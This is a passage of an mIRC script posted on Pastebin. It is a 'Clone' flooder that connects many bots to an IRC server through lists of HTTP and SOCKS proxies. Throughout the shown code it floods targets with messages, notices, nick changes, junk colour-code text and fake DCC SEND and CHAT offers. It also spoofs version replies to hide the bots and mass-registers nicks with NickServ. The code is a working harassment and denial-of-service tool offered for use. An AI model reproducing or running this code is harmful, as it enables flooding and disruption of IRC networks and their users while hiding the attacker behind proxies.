  408. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  409. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  410. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 0 Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  411. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  412. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 2) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  413. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 3) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  414. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 4) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $eval($+ $Clone.RandomText,0)
  415. .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 1 $calc($Did(Clone,95) * 5) Clone.Actions :KEY: %key $Did(Clone,40) NICK
  416. }
  417. }
  418.  
  419.  
  420.  
  421. On *:Dialog:Clone:SClick:*: {
  422. If ($Did == 31) {
  423. If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) | Did -o Clone 102,10 1 $Did(Clone,34).Lines }
  424. Else { Clone.Error Invalid Sock/Proxy or Port }
  425. }
  426. If ($Did == 32) {
  427. Var %I = $Did(Clone,34,0).Sel
  428. While (%I) {
  429. Did -d $DName 34 $Did(Clone,34,%I).Sel | Did -o Clone 102,10 1 $Did(Clone,34).Lines
  430. Dec %I
  431. }
  432. }
  433.  
  434. If ($Did == 113) {
  435. set %proxylist $SFile($mIRCDir,Proxy List) | did -ra $dname 112 %proxylist | did -r $dname 34 | plist
  436. }
  437.  
  438. If ($Did == 83) {
  439. Var %I = 1
  440. While ($CB(%I)) {
  441. Var %F1 = $CB(%I)
  442. If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
  443. If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }
  444. Else { Did -a $DName 34 %F1 }
  445. Inc %I
  446. }
  447. Did -o Clone 102,10 1 $Did(Clone,34).Lines
  448. }
  449. If ($Did == 35) { Did -r $DName 34 | Did -o Clone 102,10 1 $Did(Clone,34).Lines }
  450. If ($Did == 11) { Did -b $DName 15 }
  451. If ($Did == 12) { Did -b $DName 15 }
  452. If ($Did == 13) { Did -e $DName 15 }
  453. If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }
  454. If ($Did == 68) {
  455. Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72
  456. If ($Did(70)) { Did -e $DName 66 }
  457. Else { Did -b $DName 66 }
  458. }
  459. If ($Did == 69) {
  460. Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72
  461. If ($Did(71)) { Did -e $DName 66 }
  462. Else { Did -b $DName 66 }
  463. }
  464. If ($Did == 16) {
  465. Var %F = $SFile($mIRCDir,Clone,Import)
  466. If (%F) { set %cnicksdir %F | Did -ra $DName 14 %F }
  467. }
  468. If ($Did == 72) {
  469. Var %F = $SFile($mIRCDir,Clone,Import)
  470. If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }
  471. }
  472. If ($Did == 60) {
  473. If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
  474. Else { Did -b $DName 58 }
  475. }
  476. If ($Did == 41) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOIN $Did(42) }
  477. If ($Did == 43) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PART $Did(44) : $+ $Did(45) }
  478. If ($Did == 46) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) JOINPART $Did(47) : $+ $Did(48) }
  479. If ($Did == 49) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(50) : $+ $Did(51) }
  480. If ($Did == 52) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(53) : $+ $Did(54) }
  481. If ($Did == 55) { Clone.Flood }
  482. If ($Did == 58) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(59) : $+ $Did(60) $+  }
  483. If ($Did == 61) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+  }
  484. If ($Did == 64) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }
  485. If ($Did == 66) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) NICK }
  486. If ($Did == 73) {
  487. Var %I = 1
  488. While ($Did(74,%I)) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) RAW $Did(74,%I) | Inc %I }
  489. }
  490. If ($Did == 77) {
  491. If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) { Clone.Error Enter $Did(6) to the Proxy/Socks List }
  492. ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }
  493. ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }
  494. ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }
  495. ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }
  496. ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }
  497. ElseIf (($Did(6) == Socks4) || ($Did(6) == Socks5) || ($Did(6) == Socks4&5)) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }
  498. Else { .TimerClone.Go -o $Did(10) 0 Clone.Go }
  499. }
  500. If ($Did == 78 && $Did(40) == All) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* }
  501. If ($Did == 78 && $Did(40) == Selected) { var %key = $left($md5($ticks),10) | genVars %key | Clone.Actions :KEY: %key $Did(Clone,40) QUIT }
  502. If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }
  503. If ($Did == 80) { Clone.IPs }
  504. If ($Did == 84) {
  505. Var %I = $Sock(Clone.*,0)
  506. While (%I) {
  507. If (!$Sock(Clone.*,%I).Mark || $Sock(Clone.*,%I).Mark == 1) { SockClose $Sock(Clone.*,%I) }
  508. Dec %I
  509. }
  510. Did -o Clone 25 1 $Sock(Clone.*,0)
  511. }
  512. If ($Did == 88) { Did -b $DName 86 }
  513. If ($Did == 87) { Did -e $DName 86 }
  514. If ($Did == 93) { .TimerFlood* off }
  515. If ($Did == 96) {
  516. If ($Did(96).State == 1) { Did -r Clone 117 | Did -c Clone 91 3 | Did -b Clone 116,117,91 }
  517. If ($Did(96).State == 0) && ($Did(97).State == 0) { Did -e Clone 116,117,91 }
  518. If ($Did(96).State == 0) && ($Did(97).State == 1) { Did -e Clone 116,117 }
  519. If ($Did(96).State == 0) && ($Did(117) !isnum) { Did -b Clone 55 }
  520. If ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) && ($Did(57) || ($Did(97).State == 1)) { Did -e Clone 55 }
  521. If ($Did(96).State == 1) && ($Did(99) !isnum) { Did -b Clone 55 }
  522. }
  523. If ($Did == 97) {
  524. If ($Did(97).State == 1) { Did -c Clone 91 3 | Did -b Clone 91 }
  525. If ($Did(97).State == 0) && ($Did(96).State == 0) { Did -e Clone 91 }
  526. If ($Did(97).State == 1) && ($Did(117) isnum) && ($Did(95) isnum) && ($Did(56)) { Did -e Clone 55 }
  527. If ($Did(97).State == 1) && ($Did(96).State == 1) && ($Did(95) isnum) && ($Did(99) isnum) && ($Did(56)) { Did -e Clone 55 }
  528. If ($Did(97).State == 0) && (!$Did(57)) { Did -b Clone 55 }
  529. }
  530. }
  531.  
  532. #Clone.DNS off
  533. On *:DNS: {
  534. If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go -o $Did(Clone,10) 0 Clone.Go }
  535. Else { Clone.Error Unable to resolve DNS of $Did(Clone,2) }
  536. .Disable #Clone.DNS
  537. Halt
  538. }
  539. #Clone.DNS End
  540.  
  541. Alias genHighlighted {
  542. var %i = $Did(Clone,38,0).sel, %t = 0, %n, %all
  543. while (%i) {
  544. var %n = $did(clone,38,$did(clone,38,%i).sel).text
  545. if ($calc($len(%n) + 1 + $len(%all)) > 900) {
  546. set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
  547. inc %t
  548. var %all
  549. }
  550. var %all = $addtok(%all,%n,32)
  551. dec %i
  552. }
  553. set -e %selectednicks. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
  554. }
  555.  
  556. Alias Clone.Nicklist.Box.Update {
  557. var %key = $left($md5($ticks),10)
  558. genHighlighted %key
  559.  
  560. Did -r Clone 38
  561. Var %I = 1
  562. While ($Sock(Clone.*,%I)) {
  563. If ($Sock(Clone.*,%I).Mark && $Sock(Clone.*,%I).Mark != 1) { Did -a Clone 38 $Sock(Clone.*,%I).Mark }
  564. Inc %I
  565. }
  566.  
  567. var %s = $+($chr(37),selectednicks.,%key,-,*)
  568. var %a = $var($eval(%s,1),0)
  569. While (%a) {
  570. var %g = $gettok($eval($var($eval(%s,1),%a),2),0,32)
  571. While (%g) {
  572. If ($didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)) {
  573. Did -kc Clone 38 $didwm(Clone,38,$gettok($eval($var($eval(%s,1),%a),2),%g,32),1)
  574. }
  575. Dec %g
  576. }
  577. Dec %a
  578. }
  579. }
  580.  
  581. On *:SockOpen:Clone.*: {
  582. If ($SockErr) { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  583. If (Clone.Socks4.* iswm $SockName) { BSet &Clone 1 4 1 $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) $Replace($Did(Clone,2),$Chr(46),$Chr(32)) 0 | SockWrite $SockName &Clone }
  584. If (Clone.Socks5.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }
  585. If (Clone.Proxy.* iswm $SockName) {
  586. SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.0
  587. SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF
  588. }
  589. If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }
  590. Did -o Clone 25 1 $Sock(Clone.*,0)
  591. }
  592.  
  593. On *:SockRead:Clone.Socks4.*: {
  594. If ($SockErr) {
  595. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  596. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  597. }
  598. Else {
  599. If (Clone.Socks4.* iswm $SockName) && (!$Sock($SockName).Mark) {
  600. SockRead &Read
  601. If ($BVar(&Read,2) == 90) { SockMark $SockName 1 | Clone.Conn.User $SockName }
  602. }
  603. Clone.SockReadInstructions
  604. }
  605. }
  606.  
  607. On *:SockRead:Clone.Socks5.*: {
  608. If ($SockErr) {
  609. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  610. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  611. }
  612. Else {
  613. If (Clone.Socks5.* iswm $SockName) && (!$Sock($SockName).Mark) {
  614. SockRead &Read
  615. If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {
  616. Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)
  617. Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))
  618. BSet &Clone.Send 1 5 1 0 1 %Serv %Port
  619. SockWrite $SockName &Clone.Send
  620. }
  621. If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }
  622. }
  623. Clone.SockReadInstructions
  624. }
  625. }
  626.  
  627. On *:SockRead:Clone.Proxy.*: {
  628. If ($SockErr) {
  629. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  630. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  631. }
  632. Else {
  633. Clone.SockReadInstructions
  634. }
  635. }
  636.  
  637. On *:SockRead:Clone.Normal.*: {
  638. If ($SockErr) {
  639. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  640. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) | Return }
  641. }
  642. Else {
  643. Clone.SockReadInstructions
  644. }
  645. }
  646.  
  647. Alias Clone.SockReadInstructions {
  648. SockRead %Clone.Read
  649. If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 1 && ($Gettok(%Clone.Read,1,32) != PING)) { Echo %Clone.Read }
  650. If (%Clone.Read && $did(clone,87).state == 1 && $did(clone,86).state == 0) { Echo %Clone.Read }
  651. Tokenize 32 %Clone.Read
  652. Unset %Clone.Read
  653. If ($2 == 200) && (*HTTP* iswm $1) { Clone.Conn.User $SockName }
  654. If ($5 == broken) { SockWrite -nt $SockName $16-17 }
  655. If ($5 == response) { SockWrite -nt $SockName $17-18 }
  656. If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }
  657. If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) {
  658. If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }
  659. If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+  }
  660. If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :VERSION mIRC v6.35 Khaled Mardam-Bey }
  661. }
  662. If ($2 == 001) && (:* iswm $1) {
  663. Var %I = 1
  664. While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }
  665. If ($3) { SockMark $SockName $3 | Did -a Clone 38 $3 }
  666. Did -o Clone 24 1 $Did(Clone,38).Lines
  667. SockWrite -nt $SockName Mode $3 $Did(Clone,18)
  668. }
  669. If ($2 == 433) {
  670. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) {
  671. If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }
  672. If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) }
  673. If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
  674. }
  675. Else {
  676. If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Lower($Clone.RandNick($Rand(5,7))) }
  677. If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 Clone.Conn.User $SockName }
  678. If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] -o 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) }
  679. }
  680. }
  681. If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) {
  682. Var %I = 1
  683. While ($Did(Clone,38,%I)) {
  684. If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { SockMark $SockName $Remove($3,:) | Did -o Clone 38 %I $Remove($3,:) }
  685. Inc %I
  686. }
  687. }
  688. }
  689.  
  690. On *:SockWrite:Clone.*: {
  691. If ($SockErr) {
  692. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }
  693. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }
  694. }
  695. }
  696.  
  697. On *:SockClose:Clone.*: {
  698. If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { SockClose $SockName | Clone.Nicklist.Box.Update | Did -o Clone 24 1 $Did(Clone,38).Lines | Did -o Clone 25 1 $Sock(Clone.*,0) }
  699. Else { SockClose $SockName | Did -o Clone 25 1 $Sock(Clone.*,0) }
  700. }
  701.  
  702. Alias Clone.Nick { Return $Sock($1).Mark }
  703.  
  704. Alias Clone.RandNick {
  705. Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1
  706. While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J }
  707. Return %N
  708. }
  709.  
  710. Alias Clone.Conn.User {
  711. If ($Did(Clone,11).State == 1) {
  712. SockWrite -nt $1 NICK $Lower($Clone.RandNick($Rand(5,7)))
  713. SockWrite -nt $1 USER $Lower($Clone.RandNick($Rand(3,5))) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Lower($Clone.RandNick($Rand(3,5))))
  714. }
  715. If ($Did(Clone,12).State == 1) {
  716. Var %N = $Gettok($Read($Did(Clone,14)),1,32)
  717. SockWrite -nt $1 NICK %N
  718. SockWrite -nt $1 USER $Lower($Clone.RandNick($Rand(3,5))) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Lower($Clone.RandNick($Rand(3,5))))
  719. }
  720. If ($Did(Clone,13).State == 1) {
  721. SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2)
  722. SockWrite -nt $1 USER $Lower($Did(Clone,15)) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15))
  723. }
  724. }
  725.  
  726. Alias Clone.Go {
  727. If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 }
  728. :Again
  729. Var %R = $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z)
  730. If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again }
  731. If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) }
  732. If ($Did(Clone,6) == Proxy) { SockOpen $+(Clone.Proxy.,%R) $Did(Clone,34,%Clone.List) }
  733. If ($Did(Clone,6) == Socks4) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) }
  734. If ($Did(Clone,6) == Socks5) { SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }
  735. If ($Did(Clone,6) == Socks4&5) { SockOpen $+(Clone.Socks4.,%R) $Did(Clone,34,%Clone.List) | SockOpen $+(Clone.Socks5.,%R) $Did(Clone,34,%Clone.List) }
  736. Inc %Clone.List
  737. Did -o Clone 25 1 $Sock(Clone.*,0)
  738. }
  739.  
  740. Dialog -l Clone.IPs {
  741. Title "Connected Proxies"
  742. Size -1 -1 254 382
  743. Option Pixels
  744. Edit "", 1, 8 8 236 320, Read Multi autovs vsbar
  745. Text "Number of Connected Proxies:", 3, 8 335 147 16
  746. Text "0", 4, 160 335 25 16
  747. Button &Refresh List, 2, 8 354 235 20
  748. }
  749.  
  750. On *:Dialog:Clone.IPs:Init:*: { Clone.IPs }
  751.  
  752. On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs }
  753.  
  754. Alias Clone.IPs {
  755. If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs }
  756. Did -r Clone.IPs 1
  757. Var %I = 1
  758. While ($Sock(Clone.*,%I)) {
  759. If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port)) {
  760. Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $+ : $+ $Sock(Clone.*,%I).Port
  761. }
  762. Inc %I
  763. }
  764. var %P = $Did(Clone.IPs,1).lines - 1
  765. Did -o Clone.IPs 4 1 %P
  766. }
  767.  
  768. alias cdccfuck {
  769. set %dline 1
  770. while (%dline <= 25) {
  771. sockwrite -nt clone* privmsg $1 :DCC SEND $+(",$r(A,Z),$r(a,z),$r(a,z),$r(a,z),$r(a,z),$r(a,z),$r(a,z),$r(a,z),$r(a,z),$r(a,z),$r(a,z),") $+($r(1,1000),$r(1,10000)) $+($r(1,10000),)
  772. inc %dline 1
  773. } }
  774.  
  775. alias creg {
  776. sockwrite -nt clone* PRIVMSG nickserv REGISTER catherine cath@hotmail.com
  777. }
  778.  
  779. alias cdrop {
  780. sockwrite -nt clone* PRIVMSG nickserv DROP
  781. }
  782.  
  783. alias -l startflood {
  784. sockwrite -nt clone* PRIVMSG $did(Clone, 111) $floodtext
  785. }
  786.  
  787. alias floodtext { var %var = $rand(1, 3)
  788. if (%var == 1) { return $str($+($chr($rand(1, 1000)), $chr($rand(1, 1000)), $chr($rand(1, 1000)), $chr($rand(1, 1000)), $chr($rand(1, 1000))), 10) }
  789. elseif (%var == 2) { return $+($chr(3), $rand(1, 15), $chr(44), $rand(1, 15), $str($chr(95), 20), $chr(3), $rand(1, 15), $chr(44), $rand(1, 15), $str($chr(95), 20), $chr(3), $rand(1, 15), $chr(44), $rand(1, 15), $str($chr(95), 20)) }
  790. else { return $str($+($chr(3), $rand(1, 15), $chr(44), $rand(1, 15), $chr(149)), 100) }
  791. }
  792.  
  793. alias plist {
  794. Var %F = %proxylist
  795. If (%F) {
  796. Var %I = 1
  797. While ($Read(%F,%I)) {
  798. Var %F1 = $Read(%F,%I)
  799. If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }
  800. If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }
  801. Else { Did -a $DName 34 %F1 }
  802. Inc %I
  803. }
  804. }
  805. Did -o Clone 102,10 1 $Did(Clone,34).Lines
  806. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!